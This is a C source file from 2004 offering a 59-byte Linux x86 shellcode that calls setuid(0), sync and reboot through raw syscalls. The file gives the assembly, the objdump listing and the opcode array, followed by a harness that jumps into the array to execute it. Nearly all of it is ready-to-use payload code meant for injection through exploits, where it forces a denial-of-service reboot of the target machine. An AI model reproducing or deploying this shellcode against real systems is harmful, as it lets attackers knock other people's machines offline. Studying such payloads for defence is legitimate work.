/* 
 lnx_reboot.c - v2 - 59 Byte Reboot Opcode Array
 Copyright(c) 2004 c0ntex <c0ntex@hushmail.com>

 Visit at https://twistedminds.mine.nu || https://open-security.org

 This program is free software; you can redistribute it and/or modify
 it under the terms of the GNU General Public License as published by
 the Free Software Foundation; either version 2 of the License, or
 (at your option) any later version.
 
 This program is distributed in the hope that it will be useful,
 but WITHOUT ANY WARRANTY; without even the implied warranty of
 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 GNU General Public License for more details.
 
 You should have received a copy of the GNU General Public License
 along with this program; if not, write to the Free Software
 Foundation, Inc., 59 Temple Place, Suite 330, Boston,
 MA  02111-1307  USA
*/

/*
 Calling: setuid(0), sync(0), reboot(key1,key2,flag), sync(), exit(0)

 unistd.h:#define __NR_setuid             23 
 unistd.h:#define __NR_sync               36
 unistd.h:#define __NR_reboot             88
 unistd.h:#define __NR_exit                1

 #Definitions from /usr/include/linux/reboot.h
  -Majick Key[1]  0xfee1dead
  -Majick Key[2]  672274793
  -Majick Key[2a] 85072278
  -Majick Key[2b] 369367448
  -Syscall Key[1] 0x01234567

 /->reboot.c
int main()
{
  __asm__("
        xorl %eax,%eax
        movl %eax,%ebx
        movb $0x17,%al
        int $0x80
            xorl %eax,%eax
        movl %eax,%ebx
        movb $0x24,%al
        int $0x80
        xorl %eax,%eax
        movl %eax,%ebx
        movl %eax,%ecx
        movl %eax,%edx
        movb $0x58,%al
        movl $0xfee1dead,%ebx
        movl $672274793,%ecx
        movl $0x01234567,%edx
        int $0x80
        xorl %eax,%eax
        movl %eax,%ebx
        movb $0x24,%al
        int $0x80
        xorl %eax,%eax
        movl %eax,%ebx
        incb %al
        int $0x80
    ");
  return 0;
}

 /->reboot.s
 .globl main
  main:
     xorl %eax,%eax
         movl %eax,%ebx
         movb $0x17,%al
         int $0x80
    xorl %eax,%eax
   movl %eax,%ebx
   movb $0x24,%al
   int $0x80
   xorl %eax,%eax
   movl %eax,%ebx
   movl %eax,%ecx
   movl %eax,%edx
   movb $0x58,%al
   movl $0xfee1dead,%ebx
   movl $672274793,%ecx
   movl $0x01234567,%edx
   int $0x80
   xorl %eax,%eax
   movl %eax,%ebx
   movb $0x24,%al
   int $0x80
   xorl %eax,%eax
   movl %eax,%ebx
   incb %al
   int $0x80
 
 /-> objdump.?
 80482ec:       31 c0                   xor    %eax,%eax
 80482ee:       89 c3                   mov    %eax,%ebx
 80482f0:       b0 17                   mov    $0x17,%al
 80482f2:       cd 80                   int    $0x80
 80482f4:       31 c0                   xor    %eax,%eax
 80482f6:       89 c3                   mov    %eax,%ebx
 80482f8:       b0 24                   mov    $0x24,%al
 80482fa:       cd 80                   int    $0x80
 80482fc:       31 c0                   xor    %eax,%eax
 80482fe:       89 c3                   mov    %eax,%ebx
 8048300:       89 c1                   mov    %eax,%ecx
 8048302:       89 c2                   mov    %eax,%edx
 8048306:       b0 58                   mov    $0x58,%al
 8048308:       bb ad de e1 fe          mov    $0xfee1dead,%ebx
 804830d:       b9 69 19 12 28          mov    $0x28121969,%ecx
 8048312:       ba 67 45 23 01          mov    $0x01234567,%edx
 8048317:       cd 80                   int    $0x80
 8048319:       31 c0                   xor    %eax,%eax
 804831b:       89 c3                   mov    %eax,%ebx
 804831d:       b0 24                   mov    $0x24,%al
 804831f:       cd 80                   int    $0x80
 8048321:       31 c0                   xor    %eax,%eax
 8048323:       89 c3                   mov    %eax,%ebx
 8048325:       fe c0                   inc    %al
 8048327:       cd 80                   int    $0x80
*/
#include <stdio.h>

typedef char wikkid;

wikkid oPc0d3z[]={
    0x31,0xc0,0x89,0xc3,0xb0,0x17,0xcd,0x80,0x31,0xc0,0x89,0xc3,
    0xb0,0x24,0xcd,0x80,0x31,0xc0,0x89,0xc3,0x89,0xc1,0x89,0xc2,
    0xb0,0x58,0xbb,0xad,0xde,0xe1,0xfe,0xb9,0x69,0x19,0x12,0x28,
    0xba,0x67,0x45,0x23,0x01,0xcd,0x80,0x31,0xc0,0x89,0xc3,0xb0,
    0x24,0xcd,0x80,0x31,0xc0,0x89,0xc3,0xfe,0xc0,0xcd,0x80
    };

unsigned long grab_esp()
{
  __asm__("
            xorl %eax,%eax
            movl %eax,%ebx
            movl %esp,%eax
  ");
}

int main(void)
{
  unsigned long delta;
  void (*pointer)();

  delta = grab_esp();

  fprintf(stderr, "\n\t[-] Stack Pointer Add [0x%x]\n", delta);
  fprintf(stderr, "\t[-] Size of opcode array: [%d]\n", sizeof(oPc0d3z));
  fprintf(stderr, "\t[-] Targeting opcode array now\n");

  pointer=(void*)&oPc0d3z;

  while(pointer) {
    fprintf(stderr, "\t[-] Called address [0x%x]\n\n", pointer);
    pointer();
  }
  _exit(0x01);
}